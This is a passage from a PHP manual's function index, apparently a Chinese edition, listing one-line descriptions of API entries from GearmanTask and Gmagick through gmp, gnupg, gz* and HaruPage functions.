    • GearmanTask::recvData - Read work or result data into a buffer for a task
    • GearmanTask::returnCode - Get the last return code
    • GearmanTask::sendData - Send data for a task (deprecated)
    • GearmanTask::sendWorkload - Send data for a task
    • GearmanTask::taskDenominator - Get completion percentage denominator
    • GearmanTask::taskNumerator - Get completion percentage numerator
    • GearmanTask::unique - Get the unique identifier for a task
    • GearmanTask::uuid - Get the unique identifier for a task (deprecated)
    • GearmanTask::__construct - Create a GearmanTask instance
    • GearmanWorker::addFunction - Register and add callback function
    • GearmanWorker::addOptions - Add worker options
    • GearmanWorker::addServer - Add a job server
    • GearmanWorker::addServers - Add job servers
    • GearmanWorker::clone - Create a copy of the worker
    • GearmanWorker::echo - Test job server response
    • GearmanWorker::error - Get the last error encountered
    • GearmanWorker::getErrno - Get errno
    • GearmanWorker::options - Get worker options
    • GearmanWorker::register - Register a function with the job server
    • GearmanWorker::removeOptions - Remove worker options
    • GearmanWorker::returnCode - Get last Gearman return code
    • GearmanWorker::setId - Give the worker an identifier so it can be tracked when asking gearmand for the list of available workers
    • GearmanWorker::setOptions - Set worker options
    • GearmanWorker::setTimeout - Set socket I/O activity timeout
    • GearmanWorker::timeout - Get socket I/O activity timeout
    • GearmanWorker::unregister - Unregister a function name with the job servers
    • GearmanWorker::unregisterAll - Unregister all function names with the job servers
    • GearmanWorker::wait - Wait for activity from one of the job servers
    • GearmanWorker::work - Wait for and perform jobs
    • GearmanWorker::__construct - Create a GearmanWorker instance
    • Gender\Gender::connect - Connect to an external name dictionary
    • Gender\Gender::country - Get textual country representation
    • Gender\Gender::get - Get gender of a name
    • Gender\Gender::isNick - Check if the name0 is an alias of the name1
    • Gender\Gender::similarNames - Get similar names
    • Gender\Gender::__construct - Construct the Gender object
    • Generator::current - 返回当前产生的值
    • Generator::key - 返回当前产生的键
    • Generator::next - 生成器继续执行
    • Generator::rewind - 重置迭代器
    • Generator::send - 向生成器中传入一个值
    • Generator::throw - 向生成器中抛入一个异常
    • Generator::valid - 检查迭代器是否被关闭
    • Generator::__wakeup - 序列化回调
    • geoip_asnum_by_name - 获取自治系统号(ASN)
    • geoip_continent_code_by_name - 获取七大洲的大写字母简称
    • geoip_country_code3_by_name - 获取三个字母组成的国家简称
    • geoip_country_code_by_name - 获取国家代码
    • geoip_country_name_by_name - 获取国家的全称
    • geoip_database_info - 获取 GeoIP 数据库的信息
    • geoip_db_avail - GeoIP 数据库是否可用
    • geoip_db_filename - 返回 GeoIP 数据库相对应的文件名
    • geoip_db_get_all_info - 返回所有 GeoIP 数据库类型的详细信息
    • geoip_domain_by_name - 获取二级域名
    • geoip_id_by_name - 获取网络连接类型
    • geoip_isp_by_name - 获取 ISP (网络服务提供商)的名称
    • geoip_netspeedcell_by_name - 获取网络连接速度
    • geoip_org_by_name - 获取机构的名称
    • geoip_record_by_name - 返回 GeoIP 数据库中详细的城市信息
    • geoip_region_by_name - 获取国家和地区代码
    • geoip_region_name_by_code - 返回给定的国家和地区代码组合所对应的地区名称
    • geoip_setup_custom_directory - 自定义 GeoIP 数据库的目录
    • geoip_time_zone_by_country_and_region - 返回国家和地区的时区
    • getallheaders - 获取全部 HTTP 请求头信息
    • getcwd - 取得当前工作目录
    • getdate - 取得日期／时间信息
    • getenv - 获取一个环境变量的值
    • gethostbyaddr - 获取指定的IP地址对应的主机名
    • gethostbyname - 返回主机名对应的 IPv4地址。
    • gethostbynamel - 获取互联网主机名对应的 IPv4 地址列表
    • gethostname - 获取主机名
    • getimagesize - 取得图像大小
    • getimagesizefromstring - 从字符串中获取图像尺寸信息
    • getlastmod - 获取页面最后修改的时间
    • getmxrr - 获取互联网主机名对应的 MX 记录
    • getmygid - 获取当前 PHP 脚本拥有者的 GID
    • getmyinode - 获取当前脚本的索引节点（inode）
    • getmypid - 获取 PHP 进程的 ID
    • getmyuid - 获取 PHP 脚本所有者的 UID
    • getopt - 从命令行参数列表中获取选项
    • getprotobyname - Get protocol number associated with protocol name
    • getprotobynumber - Get protocol name associated with protocol number
    • getrandmax - 显示随机数最大的可能值
    • getrusage - 获取当前资源使用状况
    • getservbyname - 获取互联网服务协议对应的端口
    • getservbyport - Get Internet service which corresponds to port and protocol
    • getSession - Connect to a MySQL server
    • gettext - Lookup a message in the current domain
    • gettimeofday - 取得当前时间
    • gettype - 获取变量的类型
    • get_browser - 获取浏览器具有的功能
    • get_called_class - 后期静态绑定（"Late Static Binding"）类的名称
    • get_cfg_var - 获取 PHP 配置选项的值
    • get_class - 返回对象的类名
    • get_class_methods - 返回由类的方法名组成的数组
    • get_class_vars - 返回由类的默认属性组成的数组
    • get_current_user - 获取当前 PHP 脚本所有者名称
    • get_declared_classes - 返回由已定义类的名字所组成的数组
    • get_declared_interfaces - 返回一个数组包含所有已声明的接口
    • get_declared_traits - 返回所有已定义的 traits 的数组
    • get_defined_constants - 返回所有常量的关联数组，键是常量名，值是常量值
    • get_defined_functions - 返回所有已定义函数的数组
    • get_defined_vars - 返回由所有已定义变量所组成的数组
    • get_extension_funcs - 返回模块函数名称的数组
    • get_headers - 取得服务器响应一个 HTTP 请求所发送的所有标头
    • get_html_translation_table - 返回使用 htmlspecialchars 和 htmlentities 后的转换表
    • get_included_files - 返回被 include 和 require 文件名的 array
    • get_include_path - 获取当前的 include_path 配置选项
    • get_loaded_extensions - 返回所有编译并加载模块名的 array
    • get_magic_quotes_gpc - 获取当前 magic_quotes_gpc 的配置选项设置
    • get_magic_quotes_runtime - 获取当前 magic_quotes_runtime 配置选项的激活状态
    • get_meta_tags - 从一个文件中提取所有的 meta 标签 content 属性，返回一个数组
    • get_object_vars - 返回由对象属性组成的关联数组
    • get_parent_class - 返回对象或类的父类名
    • get_required_files - 别名 get_included_files
    • get_resources - Returns active resources
    • get_resource_type - 返回资源（resource）类型
    • glob - 寻找与模式匹配的文件路径
    • glob:// - 查找匹配的文件路径模式
    • GlobIterator::count - Get the number of directories and files
    • GlobIterator::__construct - Construct a directory using glob
    • Gmagick::addimage - Adds new image to Gmagick object image list
    • Gmagick::addnoiseimage - Adds random noise to the image
    • Gmagick::annotateimage - Annotates an image with text
    • Gmagick::blurimage - Adds blur filter to image
    • Gmagick::borderimage - Surrounds the image with a border
    • Gmagick::charcoalimage - Simulates a charcoal drawing
    • Gmagick::chopimage - Removes a region of an image and trims
    • Gmagick::clear - Clears all resources associated to Gmagick object
    • Gmagick::commentimage - Adds a comment to your image
    • Gmagick::compositeimage - Composite one image onto another
    • Gmagick::cropimage - Extracts a region of the image
    • Gmagick::cropthumbnailimage - Creates a crop thumbnail
    • Gmagick::current - The current purpose
    • Gmagick::cyclecolormapimage - Displaces an image's colormap
    • Gmagick::deconstructimages - Returns certain pixel differences between images
    • Gmagick::despeckleimage - The despeckleimage purpose
    • Gmagick::destroy - The destroy purpose
    • Gmagick::drawimage - Renders the GmagickDraw object on the current image
    • Gmagick::edgeimage - Enhance edges within the image
    • Gmagick::embossimage - Returns a grayscale image with a three-dimensional effect
    • Gmagick::enhanceimage - Improves the quality of a noisy image
    • Gmagick::equalizeimage - Equalizes the image histogram
    • Gmagick::flipimage - Creates a vertical mirror image
    • Gmagick::flopimage - The flopimage purpose
    • Gmagick::frameimage - Adds a simulated three-dimensional border
    • Gmagick::gammaimage - Gamma-corrects an image
    • Gmagick::getcopyright - Returns the GraphicsMagick API copyright as a string
    • Gmagick::getfilename - The filename associated with an image sequence
    • Gmagick::getimagebackgroundcolor - Returns the image background color
    • Gmagick::getimageblueprimary - Returns the chromaticy blue primary point
    • Gmagick::getimagebordercolor - Returns the image border color
    • Gmagick::getimagechanneldepth - Gets the depth for a particular image channel
    • Gmagick::getimagecolors - Returns the color of the specified colormap index
    • Gmagick::getimagecolorspace - Gets the image colorspace
    • Gmagick::getimagecompose - Returns the composite operator associated with the image
    • Gmagick::getimagedelay - Gets the image delay
    • Gmagick::getimagedepth - Gets the depth of the image
    • Gmagick::getimagedispose - Gets the image disposal method
    • Gmagick::getimageextrema - Gets the extrema for the image
    • Gmagick::getimagefilename - Returns the filename of a particular image in a sequence
    • Gmagick::getimageformat - Returns the format of a particular image in a sequence
    • Gmagick::getimagegamma - Gets the image gamma
    • Gmagick::getimagegreenprimary - Returns the chromaticy green primary point
    • Gmagick::getimageheight - Returns the image height
    • Gmagick::getimagehistogram - Gets the image histogram
    • Gmagick::getimageindex - Gets the index of the current active image
    • Gmagick::getimageinterlacescheme - Gets the image interlace scheme
    • Gmagick::getimageiterations - Gets the image iterations
    • Gmagick::getimagematte - Check if the image has a matte channel
    • Gmagick::getimagemattecolor - Returns the image matte color
    • Gmagick::getimageprofile - Returns the named image profile
    • Gmagick::getimageredprimary - Returns the chromaticity red primary point
    • Gmagick::getimagerenderingintent - Gets the image rendering intent
    • Gmagick::getimageresolution - Gets the image X and Y resolution
    • Gmagick::getimagescene - Gets the image scene
    • Gmagick::getimagesignature - Generates an SHA-256 message digest
    • Gmagick::getimagetype - Gets the potential image type
    • Gmagick::getimageunits - Gets the image units of resolution
    • Gmagick::getimagewhitepoint - Returns the chromaticity white point
    • Gmagick::getimagewidth - Returns the width of the image
    • Gmagick::getpackagename - Returns the GraphicsMagick package name
    • Gmagick::getquantumdepth - Returns the Gmagick quantum depth as a string
    • Gmagick::getreleasedate - Returns the GraphicsMagick release date as a string
    • Gmagick::getsamplingfactors - Gets the horizontal and vertical sampling factor
    • Gmagick::getsize - Returns the size associated with the Gmagick object
    • Gmagick::getversion - Returns the GraphicsMagick API version
    • Gmagick::hasnextimage - Checks if the object has more images
    • Gmagick::haspreviousimage - Checks if the object has a previous image
    • Gmagick::implodeimage - Creates a new image as a copy
    • Gmagick::labelimage - Adds a label to an image
    • Gmagick::levelimage - Adjusts the levels of an image
    • Gmagick::magnifyimage - Scales an image proportionally 2x
    • Gmagick::mapimage - Replaces the colors of an image with the closest color from a reference image
    • Gmagick::medianfilterimage - Applies a digital filter
    • Gmagick::minifyimage - Scales an image proportionally to half its size
    • Gmagick::modulateimage - Control the brightness, saturation, and hue
    • Gmagick::motionblurimage - Simulates motion blur
    • Gmagick::newimage - Creates a new image
    • Gmagick::nextimage - Moves to the next image
    • Gmagick::normalizeimage - Enhances the contrast of a color image
    • Gmagick::oilpaintimage - Simulates an oil painting
    • Gmagick::previousimage - Move to the previous image in the object
    • Gmagick::profileimage - Adds or removes a profile from an image
    • Gmagick::quantizeimage - Analyzes the colors within a reference image
    • Gmagick::quantizeimages - The quantizeimages purpose
    • Gmagick::queryfontmetrics - Returns an array representing the font metrics
    • Gmagick::queryfonts - Returns the configured fonts
    • Gmagick::queryformats - Returns formats supported by Gmagick
    • Gmagick::radialblurimage - Radial blurs an image
    • Gmagick::raiseimage - Creates a simulated 3d button-like effect
    • Gmagick::read - Reads image from filename
    • Gmagick::readimage - Reads image from filename
    • Gmagick::readimageblob - Reads image from a binary string
    • Gmagick::readimagefile - The readimagefile purpose
    • Gmagick::reducenoiseimage - Smooths the contours of an image
    • Gmagick::removeimage - Removes an image from the image list
    • Gmagick::removeimageprofile - Removes the named image profile and returns it
    • Gmagick::resampleimage - Resample image to desired resolution
    • Gmagick::resizeimage - Scales an image
    • Gmagick::rollimage - Offsets an image
    • Gmagick::rotateimage - Rotates an image
    • Gmagick::scaleimage - Scales the size of an image
    • Gmagick::separateimagechannel - Separates a channel from the image
    • Gmagick::setCompressionQuality - Sets the object's default compression quality
    • Gmagick::setfilename - Sets the filename before you read or write the image
    • Gmagick::setimagebackgroundcolor - Sets the image background color
    • Gmagick::setimageblueprimary - Sets the image chromaticity blue primary point
    • Gmagick::setimagebordercolor - Sets the image border color
    • Gmagick::setimagechanneldepth - Sets the depth of a particular image channel
    • Gmagick::setimagecolorspace - Sets the image colorspace
    • Gmagick::setimagecompose - Sets the image composite operator
    • Gmagick::setimagedelay - Sets the image delay
    • Gmagick::setimagedepth - Sets the image depth
    • Gmagick::setimagedispose - Sets the image disposal method
    • Gmagick::setimagefilename - Sets the filename of a particular image in a sequence
    • Gmagick::setimageformat - Sets the format of a particular image
    • Gmagick::setimagegamma - Sets the image gamma
    • Gmagick::setimagegreenprimary - Sets the image chromaticity green primary point
    • Gmagick::setimageindex - Set the iterator to the position in the image list specified with the index parameter
    • Gmagick::setimageinterlacescheme - Sets the interlace scheme of the image
    • Gmagick::setimageiterations - Sets the image iterations
    • Gmagick::setimageprofile - Adds a named profile to the Gmagick object
    • Gmagick::setimageredprimary - Sets the image chromaticity red primary point
    • Gmagick::setimagerenderingintent - Sets the image rendering intent
    • Gmagick::setimageresolution - Sets the image resolution
    • Gmagick::setimagescene - Sets the image scene
    • Gmagick::setimagetype - Sets the image type
    • Gmagick::setimageunits - Sets the image units of resolution
    • Gmagick::setimagewhitepoint - Sets the image chromaticity white point
    • Gmagick::setsamplingfactors - Sets the image sampling factors
    • Gmagick::setsize - Sets the size of the Gmagick object
    • Gmagick::shearimage - Creating a parallelogram
    • Gmagick::solarizeimage - Applies a solarizing effect to the image
    • Gmagick::spreadimage - Randomly displaces each pixel in a block
    • Gmagick::stripimage - Strips an image of all profiles and comments
    • Gmagick::swirlimage - Swirls the pixels about the center of the image
    • Gmagick::thumbnailimage - Changes the size of an image
    • Gmagick::trimimage - Remove edges from the image
    • Gmagick::write - 别名 Gmagick::writeimage
    • Gmagick::writeimage - Writes an image to the specified filename
    • Gmagick::__construct - The Gmagick constructor
    • GmagickDraw::annotate - Draws text on the image
    • GmagickDraw::arc - Draws an arc
    • GmagickDraw::bezier - Draws a bezier curve
    • GmagickDraw::ellipse - Draws an ellipse on the image
    • GmagickDraw::getfillcolor - Returns the fill color
    • GmagickDraw::getfillopacity - Returns the opacity used when drawing
    • GmagickDraw::getfont - Returns the font
    • GmagickDraw::getfontsize - Returns the font pointsize
    • GmagickDraw::getfontstyle - Returns the font style
    • GmagickDraw::getfontweight - Returns the font weight
    • GmagickDraw::getstrokecolor - Returns the color used for stroking object outlines
    • GmagickDraw::getstrokeopacity - Returns the opacity of stroked object outlines
    • GmagickDraw::getstrokewidth - Returns the width of the stroke used to draw object outlines
    • GmagickDraw::gettextdecoration - Returns the text decoration
    • GmagickDraw::gettextencoding - Returns the code set used for text annotations
    • GmagickDraw::line - The line purpose
    • GmagickDraw::point - Draws a point
    • GmagickDraw::polygon - Draws a polygon
    • GmagickDraw::polyline - Draws a polyline
    • GmagickDraw::rectangle - Draws a rectangle
    • GmagickDraw::rotate - Applies the specified rotation to the current coordinate space
    • GmagickDraw::roundrectangle - Draws a rounded rectangle
    • GmagickDraw::scale - Adjusts the scaling factor
    • GmagickDraw::setfillcolor - Sets the fill color to be used for drawing filled objects
    • GmagickDraw::setfillopacity - The setfillopacity purpose
    • GmagickDraw::setfont - Sets the fully-specified font to use when annotating with text
    • GmagickDraw::setfontsize - Sets the font pointsize to use when annotating with text
    • GmagickDraw::setfontstyle - Sets the font style to use when annotating with text
    • GmagickDraw::setfontweight - Sets the font weight
    • GmagickDraw::setstrokecolor - Sets the color used for stroking object outlines
    • GmagickDraw::setstrokeopacity - Specifies the opacity of stroked object outlines
    • GmagickDraw::setstrokewidth - Sets the width of the stroke used to draw object outlines
    • GmagickDraw::settextdecoration - Specifies a decoration
    • GmagickDraw::settextencoding - Specifies the text code set
    • GmagickPixel::getcolor - Returns the color
    • GmagickPixel::getcolorcount - Returns the color count associated with this color
    • GmagickPixel::getcolorvalue - Gets the normalized value of the provided color channel
    • GmagickPixel::setcolor - Sets the color
    • GmagickPixel::setcolorvalue - Sets the normalized value of one of the channels
    • GmagickPixel::__construct - The GmagickPixel constructor
    • gmdate - 格式化一个 GMT/UTC 日期／时间
    • gmmktime - 取得 GMT 日期的 UNIX 时间戳
    • gmp_abs - Absolute value
    • gmp_add - Add numbers
    • gmp_and - Bitwise AND
    • gmp_binomial - Calculates binomial coefficient
    • gmp_clrbit - Clear bit
    • gmp_cmp - Compare numbers
    • gmp_com - Calculates one's complement
    • gmp_div - 别名 gmp_div_q
    • gmp_divexact - Exact division of numbers
    • gmp_div_q - Divide numbers
    • gmp_div_qr - Divide numbers and get quotient and remainder
    • gmp_div_r - Remainder of the division of numbers
    • gmp_export - Export to a binary string
    • gmp_fact - Factorial
    • gmp_gcd - Calculate GCD
    • gmp_gcdext - Calculate GCD and multipliers
    • gmp_hamdist - Hamming distance
    • gmp_import - Import from a binary string
    • gmp_init - Create GMP number
    • gmp_intval - Convert GMP number to integer
    • gmp_invert - Inverse by modulo
    • gmp_jacobi - Jacobi symbol
    • gmp_kronecker - Kronecker symbol
    • gmp_lcm - Calculate LCM
    • gmp_legendre - Legendre symbol
    • gmp_mod - Modulo operation
    • gmp_mul - Multiply numbers
    • gmp_neg - Negate number
    • gmp_nextprime - Find next prime number
    • gmp_or - Bitwise OR
    • gmp_perfect_power - Perfect power check
    • gmp_perfect_square - Perfect square check
    • gmp_popcount - Population count
    • gmp_pow - Raise number into power
    • gmp_powm - Raise number into power with modulo
    • gmp_prob_prime - Check if number is "probably prime"
    • gmp_random - Random number
    • gmp_random_bits - Random number
    • gmp_random_range - Random number
    • gmp_random_seed - Sets the RNG seed
    • gmp_root - Take the integer part of nth root
    • gmp_rootrem - Take the integer part and remainder of nth root
    • gmp_scan0 - Scan for 0
    • gmp_scan1 - Scan for 1
    • gmp_setbit - Set bit
    • gmp_sign - Sign of number
    • gmp_sqrt - Calculate square root
    • gmp_sqrtrem - Square root with remainder
    • gmp_strval - Convert GMP number to string
    • gmp_sub - Subtract numbers
    • gmp_testbit - Tests if a bit is set
    • gmp_xor - Bitwise XOR
    • gmstrftime - 根据区域设置格式化 GMT/UTC 时间／日期
    • gnupg_adddecryptkey - Add a key for decryption
    • gnupg_addencryptkey - Add a key for encryption
    • gnupg_addsignkey - Add a key for signing
    • gnupg_cleardecryptkeys - Removes all keys which were set for decryption before
    • gnupg_clearencryptkeys - Removes all keys which were set for encryption before
    • gnupg_clearsignkeys - Removes all keys which were set for signing before
    • gnupg_decrypt - Decrypts a given text
    • gnupg_decryptverify - Decrypts and verifies a given text
    • gnupg_encrypt - Encrypts a given text
    • gnupg_encryptsign - Encrypts and signs a given text
    • gnupg_export - Exports a key
    • gnupg_geterror - Returns the errortext, if a function fails
    • gnupg_getprotocol - Returns the currently active protocol for all operations
    • gnupg_import - Imports a key
    • gnupg_init - Initialize a connection
    • gnupg_keyinfo - Returns an array with information about all keys that matches the given pattern
    • gnupg_setarmor - Toggle armored output
    • gnupg_seterrormode - Sets the mode for error_reporting
    • gnupg_setsignmode - Sets the mode for signing
    • gnupg_sign - Signs a given text
    • gnupg_verify - Verifies a signed text
    • gopher_parsedir - Translate a gopher formatted directory entry into an associative array
    • grapheme_extract - Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8
    • grapheme_stripos - Find position (in grapheme units) of first occurrence of a case-insensitive string
    • grapheme_stristr - Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack
    • grapheme_strlen - Get string length in grapheme units
    • grapheme_strpos - Find position (in grapheme units) of first occurrence of a string
    • grapheme_strripos - Find position (in grapheme units) of last occurrence of a case-insensitive string
    • grapheme_strrpos - Find position (in grapheme units) of last occurrence of a string
    • grapheme_strstr - Returns part of haystack string from the first occurrence of needle to the end of haystack
    • grapheme_substr - Return part of a string
    • GregorianToJD - 转变一个Gregorian历法日期到Julian Day计数
    • gupnp_context_get_host_ip - Get the IP address
    • gupnp_context_get_port - Get the port
    • gupnp_context_get_subscription_timeout - Get the event subscription timeout
    • gupnp_context_host_path - Start hosting
    • gupnp_context_new - Create a new context
    • gupnp_context_set_subscription_timeout - Sets the event subscription timeout
    • gupnp_context_timeout_add - Sets a function to be called at regular intervals
    • gupnp_context_unhost_path - Stop hosting
    • gupnp_control_point_browse_start - Start browsing
    • gupnp_control_point_browse_stop - Stop browsing
    • gupnp_control_point_callback_set - Set control point callback
    • gupnp_control_point_new - Create a new control point
    • gupnp_device_action_callback_set - Set device callback function
    • gupnp_device_info_get - Get info of root device
    • gupnp_device_info_get_service - Get the service with type
    • gupnp_root_device_get_available - Check whether root device is available
    • gupnp_root_device_get_relative_location - Get the relative location of root device
    • gupnp_root_device_new - Create a new root device
    • gupnp_root_device_set_available - Set whether or not root_device is available
    • gupnp_root_device_start - Start main loop
    • gupnp_root_device_stop - Stop main loop
    • gupnp_service_action_get - Retrieves the specified action arguments
    • gupnp_service_action_return - Return successfully
    • gupnp_service_action_return_error - Return error code
    • gupnp_service_action_set - Sets the specified action return values
    • gupnp_service_freeze_notify - Freeze new notifications
    • gupnp_service_info_get - Get full info of service
    • gupnp_service_info_get_introspection - Get resource introspection of service
    • gupnp_service_introspection_get_state_variable - Returns the state variable data
    • gupnp_service_notify - Notifies listening clients
    • gupnp_service_proxy_action_get - Send action to the service and get value
    • gupnp_service_proxy_action_set - Send action to the service and set value
    • gupnp_service_proxy_add_notify - Sets up callback for variable change notification
    • gupnp_service_proxy_callback_set - Set service proxy callback for signal
    • gupnp_service_proxy_get_subscribed - Check whether subscription is valid to the service
    • gupnp_service_proxy_remove_notify - Cancels the variable change notification
    • gupnp_service_proxy_send_action - Send action with multiple parameters synchronously
    • gupnp_service_proxy_set_subscribed - (Un)subscribes to the service
    • gupnp_service_thaw_notify - Sends out any pending notifications and stops queuing of new ones
    • gzclose - Close an open gz-file pointer
    • gzcompress - Compress a string
    • gzdecode - Decodes a gzip compressed string
    • gzdeflate - Deflate a string
    • gzencode - Create a gzip compressed string
    • gzeof - Test for EOF on a gz-file pointer
    • gzfile - Read entire gz-file into an array
    • gzgetc - Get character from gz-file pointer
    • gzgets - Get line from file pointer
    • gzgetss - Get line from gz-file pointer and strip HTML tags
    • gzinflate - Inflate a deflated string
    • gzopen - Open gz-file
    • gzpassthru - Output all remaining data on a gz-file pointer
    • gzputs - 别名 gzwrite
    • gzread - Binary-safe gz-file read
    • gzrewind - Rewind the position of a gz-file pointer
    • gzseek - Seek on a gz-file pointer
    • gztell - Tell gz-file pointer read/write position
    • gzuncompress - Uncompress a compressed string
    • gzwrite - Binary-safe gz-file write
  • h
    • HaruAnnotation::setBorderStyle - Set the border style of the annotation
    • HaruAnnotation::setHighlightMode - Set the highlighting mode of the annotation
    • HaruAnnotation::setIcon - Set the icon style of the annotation
    • HaruAnnotation::setOpened - Set the initial state of the annotation
    • HaruDestination::setFit - Set the appearance of the page to fit the window
    • HaruDestination::setFitB - Set the appearance of the page to fit the bounding box of the page within the window
    • HaruDestination::setFitBH - Set the appearance of the page to fit the width of the bounding box
    • HaruDestination::setFitBV - Set the appearance of the page to fit the height of the boudning box
    • HaruDestination::setFitH - Set the appearance of the page to fit the window width
    • HaruDestination::setFitR - Set the appearance of the page to fit the specified rectangle
    • HaruDestination::setFitV - Set the appearance of the page to fit the window height
    • HaruDestination::setXYZ - Set the appearance of the page
    • HaruDoc::addPage - Add new page to the document
    • HaruDoc::addPageLabel - Set the numbering style for the specified range of pages
    • HaruDoc::createOutline - Create a HaruOutline instance
    • HaruDoc::getCurrentEncoder - Get HaruEncoder currently used in the document
    • HaruDoc::getCurrentPage - Return current page of the document
    • HaruDoc::getEncoder - Get HaruEncoder instance for the specified encoding
    • HaruDoc::getFont - Get HaruFont instance
    • HaruDoc::getInfoAttr - Get current value of the specified document attribute
    • HaruDoc::getPageLayout - Get current page layout
    • HaruDoc::getPageMode - Get current page mode
    • HaruDoc::getStreamSize - Get the size of the temporary stream
    • HaruDoc::insertPage - Insert new page just before the specified page
    • HaruDoc::loadJPEG - Load a JPEG image
    • HaruDoc::loadPNG - Load PNG image and return HaruImage instance
    • HaruDoc::loadRaw - Load a RAW image
    • HaruDoc::loadTTC - Load the font with the specified index from TTC file
    • HaruDoc::loadTTF - Load TTF font file
    • HaruDoc::loadType1 - Load Type1 font
    • HaruDoc::output - Write the document data to the output buffer
    • HaruDoc::readFromStream - Read data from the temporary stream
    • HaruDoc::resetError - Reset error state of the document handle
    • HaruDoc::resetStream - Rewind the temporary stream
    • HaruDoc::save - Save the document into the specified file
    • HaruDoc::saveToStream - Save the document into a temporary stream
    • HaruDoc::setCompressionMode - Set compression mode for the document
    • HaruDoc::setCurrentEncoder - Set the current encoder for the document
    • HaruDoc::setEncryptionMode - Set encryption mode for the document
    • HaruDoc::setInfoAttr - Set the info attribute of the document
    • HaruDoc::setInfoDateAttr - Set the datetime info attributes of the document
    • HaruDoc::setOpenAction - Define which page is shown when the document is opened
    • HaruDoc::setPageLayout - Set how pages should be displayed
    • HaruDoc::setPageMode - Set how the document should be displayed
    • HaruDoc::setPagesConfiguration - Set the number of pages per set of pages
    • HaruDoc::setPassword - Set owner and user passwords for the document
    • HaruDoc::setPermission - Set permissions for the document
    • HaruDoc::useCNSEncodings - Enable Chinese simplified encodings
    • HaruDoc::useCNSFonts - Enable builtin Chinese simplified fonts
    • HaruDoc::useCNTEncodings - Enable Chinese traditional encodings
    • HaruDoc::useCNTFonts - Enable builtin Chinese traditional fonts
    • HaruDoc::useJPEncodings - Enable Japanese encodings
    • HaruDoc::useJPFonts - Enable builtin Japanese fonts
    • HaruDoc::useKREncodings - Enable Korean encodings
    • HaruDoc::useKRFonts - Enable builtin Korean fonts
    • HaruDoc::__construct - Construct new HaruDoc instance
    • HaruEncoder::getByteType - Get the type of the byte in the text
    • HaruEncoder::getType - Get the type of the encoder
    • HaruEncoder::getUnicode - Convert the specified character to unicode
    • HaruEncoder::getWritingMode - Get the writing mode of the encoder
    • HaruFont::getAscent - Get the vertical ascent of the font
    • HaruFont::getCapHeight - Get the distance from the baseline of uppercase letters
    • HaruFont::getDescent - Get the vertical descent of the font
    • HaruFont::getEncodingName - Get the name of the encoding
    • HaruFont::getFontName - Get the name of the font
    • HaruFont::getTextWidth - Get the total width of the text, number of characters, number of words and number of spaces
    • HaruFont::getUnicodeWidth - Get the width of the character in the font
    • HaruFont::getXHeight - Get the distance from the baseline of lowercase letters
    • HaruFont::measureText - Calculate the number of characters which can be included within the specified width
    • HaruImage::getBitsPerComponent - Get the number of bits used to describe each color component of the image
    • HaruImage::getColorSpace - Get the name of the color space
    • HaruImage::getHeight - Get the height of the image
    • HaruImage::getSize - Get size of the image
    • HaruImage::getWidth - Get the width of the image
    • HaruImage::setColorMask - Set the color mask of the image
    • HaruImage::setMaskImage - Set the image mask
    • HaruOutline::setDestination - Set the destination for the outline
    • HaruOutline::setOpened - Set the initial state of the outline
    • HaruPage::arc - Append an arc to the current path
    • HaruPage::beginText - Begin a text object and set the current text position to (0,0)
    • HaruPage::circle - Append a circle to the current path
    • HaruPage::closePath - Append a straight line from the current point to the start point of the path
    • HaruPage::concat - Concatenate current transformation matrix of the page and the specified matrix
    • HaruPage::createDestination - Create new HaruDestination instance
    • HaruPage::createLinkAnnotation - Create new HaruAnnotation instance
    • HaruPage::createTextAnnotation - Create new HaruAnnotation instance
    • HaruPage::createURLAnnotation - Create and return new HaruAnnotation instance
    • HaruPage::curveTo - Append a Bezier curve to the current path
    • HaruPage::curveTo2 - Append a Bezier curve to the current path
    • HaruPage::curveTo3 - Append a Bezier curve to the current path
    • HaruPage::drawImage - Show image at the page
    • HaruPage::ellipse - Append an ellipse to the current path
    • HaruPage::endPath - End current path object without filling and painting operations
    • HaruPage::endText - End current text object
    • HaruPage::eofill - Fill current path using even-odd rule
    • HaruPage::eoFillStroke - Fill current path using even-odd rule, then paint the path
    • HaruPage::fill - Fill current path using nonzero winding number rule
    • HaruPage::fillStroke - Fill current path using nonzero winding number rule, then paint the path
    • HaruPage::getCharSpace - Get the current value of character spacing
    • HaruPage::getCMYKFill - Get the current filling color
    • HaruPage::getCMYKStroke - Get the current stroking color
    • HaruPage::getCurrentFont - Get the currently used font
    • HaruPage::getCurrentFontSize - Get the current font size
    • HaruPage::getCurrentPos - Get the current position for path painting
    • HaruPage::getCurrentTextPos - Get the current position for text printing
    • HaruPage::getDash - Get the current dash pattern
    • HaruPage::getFillingColorSpace - Get the current filling color space
    • HaruPage::getFlatness - Get the flatness of the page
    • HaruPage::getGMode - Get the current graphics mode
    • HaruPage::getGrayFill - Get the current filling color
    • HaruPage::getGrayStroke - Get the current stroking color
    • HaruPage::getHeight - Get the height of the page
    • HaruPage::getHorizontalScaling - Get the current value of horizontal scaling
    • HaruPage::getLineCap - Get the current line cap style
    • HaruPage::getLineJoin - Get the current line join style
    • HaruPage::getLineWidth - Get the current line width
    • HaruPage::getMiterLimit - Get the value of miter limit
    • HaruPage::getRGBFill - Get the current filling color
    • HaruPage::getRGBStroke - Get the current stroking color
    • HaruPage::getStrokingColorSpace - Get the current stroking color space
    • HaruPage::getTextLeading - Get the current value of line spacing
    • HaruPage::getTextMatrix - Get the current text transformation matrix of the page
    • HaruPage::getTextRenderingMode - Get the current text rendering mode
    • HaruPage::getTextRise - Get the current value of text rising
    • HaruPage::getTextWidth - Get the width of the text using current fontsize, character spacing and word spacing
    • HaruPage::getTransMatrix - Get the current transformation matrix of the page
    • HaruPage::getWidth - Get the width of the page
    • HaruPage::getWordSpace - Get the current value of word spacing
    • HaruPage::lineTo - Draw a line from the current point to the specified point
    • HaruPage::measureText - Calculate the byte length of characters which can be included on one line of the specified width
    • HaruPage::moveTextPos - Move text position to the specified offset
    • HaruPage::moveTo - Set starting point for new drawing path
    • HaruPage::moveToNextLine - Move text position to the start of the next line
    • HaruPage::rectangle - Append a rectangle to the current path
    • HaruPage::setCharSpace - Set character spacing for the page
    • HaruPage::setCMYKFill - Set filling color for the page
    • HaruPage::setCMYKStroke - Set stroking color for the page
    • HaruPage::setDash - Set the dash pattern for the page
    • HaruPage::setFlatness - Set flatness for the page
    • HaruPage::setFontAndSize - Set font and fontsize for the page
    • HaruPage::setGrayFill - Set filling color for the page
    • HaruPage::setGrayStroke - Sets stroking color for the page
    • HaruPage::setHeight - Set height of the page
